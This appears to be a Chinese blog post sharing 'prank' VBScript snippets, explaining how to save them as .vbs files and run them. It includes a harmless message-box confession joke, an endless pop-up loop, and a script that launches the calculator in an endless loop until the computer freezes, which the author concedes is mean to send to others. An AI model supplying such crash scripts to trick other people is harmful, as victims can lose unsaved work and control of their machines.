整人代码vbs大全分享

vbs制作方法

1、在记事本中粘贴vbs代码；

2、另存为vbs文件，双击即可运行。

以下是分享的一些代码

重要提示：关机和死机的代码自己玩玩就可以了，发给别人实在有点缺德，万一别人有重要的东西没保存自己可能要负相应的后果。

一、做我女朋友吗，告白(抖音里很火的)无危害

msgbox("做我女朋友可以吗？")

msgbox("房产证上写你名")

msgbox("保大")

msgbox("我妈会游泳")

m = msgbox("做我女朋友好吗?",vbokcancel)

if m = vbok then msgbox("爱你么么哒")

if m = vbcancel then msgbox "不喜欢你了", vbcritical

二、无限弹出，点确定继续弹出，把小风教程网 改成你要文字。

do

msgbox "小风教程网"

loop

三、打开无数个计算器，直到死机，有点缺德 (把calc改成别的程序也可以)

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop